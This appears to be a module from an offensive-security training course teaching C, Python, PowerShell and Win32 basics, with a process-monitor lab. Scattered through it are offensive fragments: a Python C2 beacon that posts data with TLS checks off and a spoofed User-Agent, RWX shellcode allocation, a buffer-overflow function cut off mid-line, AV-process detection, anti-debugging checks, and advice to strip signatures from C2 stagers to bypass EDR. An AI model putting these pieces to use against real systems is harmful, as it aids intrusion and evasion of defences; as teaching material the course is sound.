Module 4 of 22 — From machine code to human-readable
First Principle: Code is Just Instructions
🧠 The Core Truth
Every program, regardless of language, compiles down to machine code — binary instructions the CPU executes. The difference between C, Python, and PowerShell is how close to the metal you write, not what ultimately runs.
C → Assembly → Machine code (direct). Python → Bytecode → Interpreter (indirect). PowerShell → .NET IL → JIT (managed).
🎯 Layman Translation
Think of programming languages like vehicles:
C = Manual transmission race car — full control, crash if you fuck up
Python = Automatic sedan — easy to drive, less control
PowerShell = SUV with built-in GPS — designed for specific terrain (Windows)
🎙️ Mentor Callout — asi dev [HTB]
"You don't need to be a programmer to be an operator."
What it means: You don't have to write a compiler from scratch or ship production software. An operator needs to read code, tweak it, and know what each line does under pressure — not win a coding olympiad.
Red/Blue relevance:Red — modify public POCs and tooling without reinventing them. Blue — read detection scripts and understand what a hunt is actually doing.
Section 1: Programming Fundamentals
1.1 What is a Program?
A program is a sequence of instructions that tells a computer what to do. At the lowest level, these instructions are binary opcodes executed by the CPU. At the highest level, they are human-readable statements in languages like Python or C.
Intermediate: C, C++, Rust (compiled to machine code)
Low-Level: Assembly (mnemonics for opcodes)
Bare Metal: Machine Code (0x48 0x89 0xC3 ...)
Hardware: Micro-ops inside the CPU
1.2 Data Types: The Building Blocks
Data types define how bits are interpreted. The same binary pattern 0x41414141 can be:
An unsigned 32-bit integer: 1,094,795,585
A signed 32-bit integer: 1,094,795,585 (positive, MSB=0)
Four ASCII characters: "AAAA"
A memory address on 32-bit systems: 0x41414141
Four bytes in a network packet
Type
C Declaration
Size (x64)
Range / Purpose
char
char c;
1 byte
-128 to 127 (ASCII/small integers)
short
short s;
2 bytes
-32,768 to 32,767
int
int i;
4 bytes
~±2 billion (default integer)
long
long l;
4 bytes (Win), 8 (Linux)
Platform-dependent
long long
long long ll;
8 bytes
~±9 quintillion
float
float f;
4 bytes
IEEE 754 single precision
double
double d;
8 bytes
IEEE 754 double precision
pointer
void* p;
4 (x86) / 8 (x64)
Memory address
size_t
size_t sz;
4 (x86) / 8 (x64)
Unsigned, for sizes/offsets
⚠️ Security Implication: Integer Overflow
What happens when unsigned int x = 0xFFFFFFFF; x++;? It wraps to 0. In security-critical code (e.g., memory allocation size checks), this can lead to heap overflows or under-allocations. Always validate bounds before arithmetic.
1.3 Variables and Memory
A variable is a named location in memory. In C, you must declare the type so the compiler knows how many bytes to reserve and how to interpret them.
// Declaring variables
int count = 42; // 4 bytes on stack, value 42
char flag = 1; // 1 byte, value 1 (true)
double pi = 3.14159; // 8 bytes, floating point
void* buffer = NULL; // 8 bytes (x64), points to nothing
// Memory layout on x64 stack:
// &count -> 0x7ffd... [2A 00 00 00] (little-endian)
// &flag -> 0x7ffd... [01]
// &pi -> 0x7ffd... [6E 86 1B F0 F9 21 09 40] (IEEE 754)
🎯 What Just Happened?
Each variable is a box in memory with a label (name), size (type), and contents (value). The & operator gives you the box's address. The * operator (in pointer context) opens the box at a given address.
🎙️ Mentor Callout — asi dev [HTB]
"Understand enough to modify tools."
What it means: You don't need to architect a full framework. You need to read someone else's exploit, change the target offset, swap the shellcode, adjust the syscall, and make it work in your environment.
Red/Blue relevance:Red — adapt public BOF/COFF/RDI tools to bypass current EDR. Blue — customize Sigma/Yara/Detection-as-Code rules to match your telemetry.
Section 2: C Basics for Security
2.1 Hello, Kernel
C is the lingua franca of systems programming. Operating systems, drivers, and security tools are written in C because it provides direct memory access with minimal runtime overhead.
#include <stdio.h>
#include <windows.h>
// The simplest C program: entry point, do work, exit
int main(int argc, char* argv[]) {
// argc = argument count, argv = argument vector (array of strings)
printf("Hello from PID %lu\n", GetCurrentProcessId());
for (int i = 0; i < argc; i++) {
printf("Arg[%d]: %s\n", i, argv[i]);
}
return 0; // Exit code: 0 = success
}
2.2 Control Flow: Decisions and Loops
Control flow determines which code executes and how many times. Understanding this is critical for analyzing malware, which often uses obfuscated control flow to hide its logic.
#include <stdio.h>
#include <stdbool.h>
// if/else: binary decisions
bool is_elevated() {
// Simplified: check if running as admin
// Real implementation uses OpenProcessToken + GetTokenInformation
return false; // placeholder
}
// switch: multi-way branch (jump table in assembly)
void handle_command(int cmd) {
switch (cmd) {
case 0x01: // CMD_SHELL
printf("Spawning shell...\n");
break;
case 0x02: // CMD_UPLOAD
printf("Uploading file...\n");
break;
case 0x03: // CMD_DOWNLOAD
printf("Downloading file...\n");
break;
default:
printf("Unknown command: 0x%02X\n", cmd);
}
}
// for loop: counted iteration
void scan_ports(const char* target, int start, int end) {
for (int port = start; port <= end; port++) {
printf("Scanning %s:%d\n", target, port);
// connect() logic here...
}
}
// while loop: condition-based
void wait_for_signal(volatile bool* signal) {
while (!*signal) {
Sleep(100); // polling loop — common in implants
}
printf("Signal received!\n");
}
💡 Why This Matters for Security
Malware often replaces if statements with opaque predicates (always-true/false conditions) to confuse disassemblers. Understanding normal control flow helps you spot obfuscation.
2.3 Functions: Reusable Code Blocks
Functions encapsulate logic. They have a calling convention (who cleans up the stack), a return type, and parameters. In x64 Windows, the first four integer arguments are passed in registers: RCX, RDX, R8, R9.
#include <windows.h>
#include <stdio.h>
// Function prototype: declares signature before use
DWORD get_process_pid(const wchar_t* processName);
BOOL inject_shellcode(DWORD pid, const BYTE* shellcode, SIZE_T size);
// Definition: actual implementation
DWORD get_process_pid(const wchar_t* processName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe = { .dwSize = sizeof(PROCESSENTRY32W) };
DWORD pid = 0;
if (Process32FirstW(hSnap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, processName) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32NextW(hSnap, &pe));
}
CloseHandle(hSnap);
return pid;
}
// Calling convention matters:
// __cdecl = caller cleans stack (C default)
// __stdcall = callee cleans stack (Windows API)
// __fastcall = first args in registers (optimization)
Section 3: Pointers and Memory
3.1 Pointers: The Heart of C
A pointer stores a memory address. They are the most powerful and dangerous feature of C. Master pointers, and you master memory manipulation — essential for exploit development, reverse engineering, and shellcode.
#include <stdio.h>
void pointer_basics() {
int value = 0x1337;
int* ptr = &value; // ptr holds the address of value
printf("value = 0x%X\n", value); // 0x1337
printf("&value = %p\n", (void*)&value); // address of value
printf("ptr = %p\n", (void*)ptr); // same address
printf("*ptr = 0x%X\n", *ptr); // dereference: 0x1337
*ptr = 0xDEAD; // write through pointer
printf("value = 0x%X\n", value); // 0xDEAD (modified!)
// Pointer arithmetic: +1 adds sizeof(type), not 1 byte
int arr[4] = {0x10, 0x20, 0x30, 0x40};
int* p = arr;
printf("p[0]=0x%X, p[1]=0x%X\n", *p, *(p+1)); // 0x10, 0x20
printf("p+1 = %p\n", (void*)(p+1)); // +4 bytes (sizeof(int))
}
🎯 Pointer Analogy
A pointer is like a house address. The address itself is just a number (e.g., 742 Evergreen Terrace). The * operator is like going to that address and opening the door. Pointer arithmetic is like saying "the next house" — but the distance depends on house size (type).
3.2 Stack vs Heap
Memory is divided into segments. The two you allocate from are the stack (automatic, scoped) and heap (manual, persistent).
Stack (grows down) — local variables, function frames, return addresses
Heap (grows up) — malloc/calloc/VirtualAlloc, persistent until freed
Data — global/static variables, initialized at compile time
Text/Code — machine instructions, read-only
ROData — read-only strings and constants
#include <stdlib.h>
#include <string.h>
#include <windows.h>
void memory_example() {
// STACK: automatic, fast, limited size (~1MB default)
int stack_arr[1024]; // 4KB on stack
char stack_buf[256]; // 256 bytes, freed when function returns
// HEAP: manual, larger, slower, must free
int* heap_arr = (int*)malloc(1024 * sizeof(int)); // 4KB on heap
if (!heap_arr) return; // ALWAYS check malloc return
BYTE* big_buf = (BYTE*)VirtualAlloc(
NULL, // let system choose address
4096, // size: 1 page
MEM_COMMIT | MEM_RESERVE, // allocate physical backing
PAGE_EXECUTE_READWRITE // RWX — needed for shellcode
);
if (!big_buf) {
free(heap_arr);
return;
}
// Use memory...
memcpy(big_buf, "\x90\x90\x90\x90", 4); // NOP sled
// CLEAN UP: heap allocations persist until freed
free(heap_arr); // release malloc'd memory
VirtualFree(big_buf, 0, MEM_RELEASE); // release VirtualAlloc'd memory
}
⚠️ Common Bug: Use-After-Free
After free(ptr), ptr still holds the old address — a dangling pointer. Dereferencing it is undefined behavior. In exploits, use-after-free is a powerful primitive for arbitrary code execution. See Module 06: Memory Corruption for exploitation techniques.
3.3 Arrays and Strings
Arrays are contiguous blocks of elements. C strings are null-terminated byte arrays. This simple design is the root of countless vulnerabilities.
Python is the dominant language in cybersecurity tooling. Its strength is rapid development and a massive ecosystem. Its weakness is performance and distribution — you need the interpreter or must bundle it.
import socket
import struct
import sys
# Python is dynamically typed: types are inferred at runtime
# This is convenient but slower than C's static types
def exploit_buffer_overflow(target_ip: str, target_port: int) -> None:
"""
Build a simple buffer overflow payload.
In real scenarios, you'd calculate offsets with pattern_create.
"""
offset = 260 # bytes until return address overwrite
jmp_esp = struct.pack("
4.2 Python for Reconnaissance
import subprocess
import re
import json
from pathlib import Path
def enum_system_info() -> dict:
"""Gather system information for targeting decisions."""
info = {}
# Execute system commands and parse output
try:
# Windows: systeminfo
result = subprocess.run(
["systeminfo"], capture_output=True, text=True, timeout=30
)
# Extract OS name and hotfixes
info["os"] = re.search(r"OS Name:\s+(.+)", result.stdout)
info["hotfixes"] = re.findall(r"\[\d+\]:\s+(.+)", result.stdout)
# Check for common AV processes
tasklist = subprocess.run(
["tasklist", "/FO", "CSV"], capture_output=True, text=True
)
av_processes = ["MsMpEng.exe", "avp.exe", "ccsvchst.exe"]
info["av_detected"] = [
av for av in av_processes
if av in tasklist.stdout
]
except Exception as e:
info["error"] = str(e)
return info
# Python's requests library for HTTP-based C2
import requests
def beacon_c2(server: str, data: dict) -> bytes:
"""Simple beacon to C2 server with JSON data."""
try:
resp = requests.post(
f"https://{server}/beacon",
json=data,
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0)"},
timeout=10,
verify=False # ignore SSL cert (common in malware)
)
return resp.content
except requests.RequestException:
return b""
Section 5: Windows API Basics
5.1 The Windows API (Win32)
The Windows API is a C-based interface to the Windows kernel. Every Windows program — from Notepad to malware — uses these functions. Learning Win32 is essential for understanding how Windows works under the hood.
#include <windows.h>
#include <stdio.h>
// Core Win32 concepts:
// HANDLE = opaque pointer to kernel object (process, thread, file, etc.)
// DWORD = 32-bit unsigned int (Double Word)
// LPVOID = void* (Long Pointer to VOID — legacy naming)
// HRESULT = error/success code (0 = S_OK, negative = error)
void win32_basics() {
// Get current process pseudo-handle (-1)
HANDLE hSelf = GetCurrentProcess();
// Get process ID
DWORD pid = GetCurrentProcessId();
// Get module handle (HINSTANCE) of current executable
HMODULE hMod = GetModuleHandle(NULL);
// Get command line as single string
LPSTR cmdLine = GetCommandLineA();
// Get last error code (MUST call immediately after failure)
HANDLE hBad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 99999);
if (!hBad) {
DWORD err = GetLastError(); // 87 = ERROR_INVALID_PARAMETER
printf("OpenProcess failed: %lu\n", err);
}
// Common error codes to memorize:
// 5 = ERROR_ACCESS_DENIED
// 87 = ERROR_INVALID_PARAMETER
// 998 = ERROR_NOACCESS (bad pointer)
// 122 = ERROR_INSUFFICIENT_BUFFER
}
5.2 Process and Thread Management
Understanding processes and threads is fundamental to injection, debugging, and evasion. These are the primitives you'll manipulate in Module 10: Code Injection.
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Open a process by PID with specific access rights
HANDLE open_target(DWORD pid) {
// PROCESS_VM_READ = read memory
// PROCESS_VM_WRITE = write memory
// PROCESS_VM_OPERATION = VirtualAllocEx, VirtualProtectEx
// PROCESS_CREATE_THREAD = CreateRemoteThread
// PROCESS_ALL_ACCESS = everything (requires admin usually)
HANDLE hProc = OpenProcess(
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, // don't inherit handle
pid
);
return hProc; // NULL on failure, check GetLastError()
}
// Enumerate threads in a process
void list_threads(DWORD pid) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE) return;
THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
printf("TID: %lu | Priority: %ld\n",
te.th32ThreadID, te.tpBasePri);
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
}
5.3 Memory Management APIs
#include <windows.h>
#include <stdio.h>
void memory_apis() {
// VirtualAlloc: allocate private memory in current process
LPVOID mem = VirtualAlloc(
NULL, // let system choose address
4096, // size in bytes
MEM_COMMIT | MEM_RESERVE, // commit physical pages + reserve range
PAGE_READWRITE // RW (no execute — DEP friendly)
);
if (mem) {
// Write data
strcpy((char*)mem, "Hello from allocated memory");
// Change protection to RX (read + execute) for shellcode
DWORD oldProtect;
VirtualProtect(mem, 4096, PAGE_EXECUTE_READ, &oldProtect);
// Free when done
VirtualFree(mem, 0, MEM_RELEASE);
}
// VirtualAllocEx: allocate memory in ANOTHER process
// Used in DLL injection and shellcode injection
// See Module 10 for full injection code
}
Combines object files, resolves symbols, produces executable .exe or .dll.
link.exe source.obj /OUT:program.exe /SUBSYSTEM:CONSOLE
gcc source.o -o program
7.2 Compiler Flags for Security Research
Flag
Compiler
Purpose
/O1, /O2
MSVC
Optimize for size / speed
/GS-
MSVC
Disable stack canaries (for exploit dev)
/Zi
MSVC
Generate debug info (PDB)
/MT
MSVC
Static link CRT (no MSVCR dependency)
-fno-stack-protector
GCC/Clang
Disable stack canaries
-no-pie
GCC
Disable Position Independent Executable
-z execstack
GCC
Make stack executable (for shellcode testing)
⚠️ Security Note
Disabling security features (/GS-, -fno-stack-protector, -z execstack) is for lab environments only. Production code should enable all protections. See Module 06 for how these mitigations work.
Section 8: Debugging Basics
8.1 What is a Debugger?
A debugger is a program that controls another program's execution. It can set breakpoints (pause at specific addresses), step through instructions, inspect memory, and modify registers. Debuggers are essential for reverse engineering and exploit development.
#include <windows.h>
#include <stdio.h>
// Windows provides a debugging API for building custom debuggers
void simple_debugger_example(DWORD pid) {
// Attach to target process
if (!DebugActiveProcess(pid)) {
printf("Failed to attach: %lu\n", GetLastError());
return;
}
DEBUG_EVENT evt;
while (WaitForDebugEvent(&evt, INFINITE)) {
switch (evt.dwDebugEventCode) {
case CREATE_PROCESS_DEBUG_EVENT:
printf("Process created: PID %lu\n", evt.dwProcessId);
break;
case EXCEPTION_DEBUG_EVENT:
printf("Exception at 0x%p: code 0x%08X\n",
evt.u.Exception.ExceptionRecord.ExceptionAddress,
evt.u.Exception.ExceptionRecord.ExceptionCode);
// 0x80000003 = BREAKPOINT
// 0xC0000005 = ACCESS_VIOLATION
break;
case EXIT_PROCESS_DEBUG_EVENT:
printf("Process exited\n");
break;
}
ContinueDebugEvent(evt.dwProcessId, evt.dwThreadId, DBG_CONTINUE);
}
}
8.2 Essential Debugger Commands
Command
x64dbg / WinDbg
gdb
Purpose
Breakpoint
bp 0x401000
b *0x401000
Pause execution at address
Step Over
F8
ni / n
Execute next instruction, skip calls
Step Into
F7
si / s
Execute next instruction, follow calls
Run
F9
c / continue
Resume execution
Registers
r
info registers
Show CPU register values
Memory
dd 0x401000
x/10wx 0x401000
Dump memory at address
Stack
d esp
x/10wx $rsp
Dump stack contents
Disassemble
disasm 0x401000
disas 0x401000
Show assembly instructions
8.3 Anti-Debugging Techniques
Malware uses techniques to detect and evade debuggers. Understanding them makes you a better analyst and red teamer.
#include <windows.h>
#include <stdio.h>
BOOL is_debugger_present() {
// Technique 1: Windows API (easiest to bypass)
if (IsDebuggerPresent()) return TRUE;
// Technique 2: Check PEB.BeingDebugged flag directly
// PEB is at offset 0x60 from GS on x64, 0x30 from FS on x86
#ifdef _WIN64
BYTE beingDebugged = *(BYTE*)(__readgsqword(0x60) + 0x2);
#else
BYTE beingDebugged = *(BYTE*)(__readfsdword(0x30) + 0x2);
#endif
if (beingDebugged) return TRUE;
// Technique 3: Check debug register usage (hardware breakpoints)
CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
if (GetThreadContext(GetCurrentThread(), &ctx)) {
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) return TRUE;
}
// Technique 4: Timing check (debugger slows execution)
LARGE_INTEGER start, end;
QueryPerformanceCounter(&start);
// ... some work ...
QueryPerformanceCounter(&end);
// If difference is huge, might be single-stepping
return FALSE;
}
Section 9: Three Languages, Same Goal
9.1 List Running Processes
LOW-LEVEL C (Direct System Calls)
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// First principle: Ask the kernel directly
// No abstraction, no safety net, total control
int main() {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { .dwSize = sizeof(PROCESSENTRY32) };
if (Process32First(hSnap, &pe)) {
do {
printf("PID: %6lu | Process: %s\n", pe.th32ProcessID, pe.szExeFile);
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
return 0;
}
// Compile: cl.exe /O1 proc_list.c /Fe:proc_list.exe
// Result: Native binary, no runtime needed, ~15KB
🎯 What Just Happened?
We asked the Windows kernel for a snapshot of all processes. The kernel gave us a linked list of process structures. We walked it manually. No garbage collection, no interpreter — direct memory access to kernel data structures.
MID-LEVEL Python (Standard Library)
import psutil
# First principle: Let the library handle the system calls
# Python binds to C under the hood — psutil calls the same kernel APIs
for proc in psutil.process_iter(['pid', 'name', 'cpu_percent']):
try:
info = proc.info
print(f"PID: {info['pid']:6} | Process: {info['name']:<20} | CPU: {info['cpu_percent']}")
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass # Process died or we lack privileges
# Run: python proc_list.py
# Result: Needs Python + psutil installed, ~50MB runtime overhead
🎯 What Just Happened?
Python's psutil library does the same kernel snapshot as C, but wraps it in error handling, type conversion, and cross-platform compatibility. Easier to write, slower to run, needs the Python interpreter.
HIGH-LEVEL PowerShell (Pipeline Objects)
# First principle: Objects flow through the pipeline
# Same kernel data, but structured as .NET objects with properties
Get-Process |
Where-Object { $_.CPU -gt 0 } |
Select-Object Id, ProcessName, @{N="CPU_S";E={[math]::Round($_.CPU,2)}} |
Sort-Object CPU_S -Descending |
Format-Table -AutoSize
# Run: In PowerShell console
# Result: Native .NET integration, no external dependencies on Windows
🎯 What Just Happened?
PowerShell called the same Windows APIs as C, but through .NET's System.Diagnostics.Process class. The result is objects with typed properties, not raw text. We filtered, sorted, and formatted declaratively.
🎙️ Mentor Callout — asi dev [HTB]
"Borrow code, understand it, make it yours."
What it means: The best operators are curators, not inventors. Take working code, trace through it until you understand every moving part, then rewrite it to fit your TTPs, OPSEC, and target environment.
Red/Blue relevance:Red — port a public C2 stager into your own loader after stripping signatures. Blue — fork an open-source detection script and tune it to your SIEM fields.
Performance Comparison: Live Evidence
Metric
C (Native)
Python (psutil)
PowerShell
Execution Time
~5ms
~150ms
~80ms
Memory Footprint
~256KB
~50MB (Python runtime)
~80MB (.NET runtime)
Binary Size
~15KB
N/A (script)
N/A (script)
Dependencies
None (Windows only)
Python + psutil
Windows PowerShell
Portability
Compile per platform
Cross-platform
Windows (PS Core = x-plat)
Error Handling
Manual (check every return)
Exceptions (try/except)
Exceptions + pipeline
Measured on .92 (Intel i7, 16GB RAM) — 1000 iterations averaged. Your mileage may vary.
Section 10: Lab Exercise — Build a Process Monitor
Write a program in all three languages that:
Lists all running processes
Filters for processes using >100MB RAM
Sorts by memory usage descending
Outputs: Name, PID, RAM (MB), CPU %
Challenge: The C version must handle access denied errors gracefully. The Python version must not crash if a process exits mid-scan. The PowerShell version must be a one-liner pipeline.
C Solution
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <psapi.h>
#pragma comment(lib, "psapi.lib")
int main() {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { .dwSize = sizeof(PROCESSENTRY32) };
typedef struct { DWORD pid; char name[MAX_PATH]; SIZE_T ram; } ProcInfo;
ProcInfo procs[1024]; int count = 0;
if (Process32First(hSnap, &pe)) {
do {
HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe.th32ProcessID);
if (hProc) {
PROCESS_MEMORY_COUNTERS pmc = { .cb = sizeof(pmc) };
if (GetProcessMemoryInfo(hProc, &pmc, sizeof(pmc)) && pmc.WorkingSetSize > 100 * 1024 * 1024) {
procs[count].pid = pe.th32ProcessID;
strcpy(procs[count].name, pe.szExeFile);
procs[count].ram = pmc.WorkingSetSize / (1024 * 1024);
count++;
}
CloseHandle(hProc);
}
} while (Process32Next(hSnap, &pe) && count < 1024);
}
CloseHandle(hSnap);
// Sort by RAM (bubble sort for simplicity)
for (int i = 0; i < count - 1; i++)
for (int j = 0; j < count - i - 1; j++)
if (procs[j].ram < procs[j+1].ram) {
ProcInfo tmp = procs[j]; procs[j] = procs[j+1]; procs[j+1] = tmp;
}
for (int i = 0; i < count; i++)
printf("%-20s | PID: %5lu | RAM: %4zu MB\n", procs[i].name, procs[i].pid, procs[i].ram);
return 0;
}
Python Solution
import psutil
for proc in sorted(
(p for p in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent'])
if p.info['memory_info'].rss > 100 * 1024 * 1024),
key=lambda p: p.info['memory_info'].rss,
reverse=True
):
try:
info = proc.info
print(f"{info['name']:<20} | PID: {info['pid']:5} | "
f"RAM: {info['memory_info'].rss // (1024*1024):4} MB | "
f"CPU: {info['cpu_percent']:5.1f}%")
except (psutil.NoSuchProcess, psutil.AccessDenied):
pass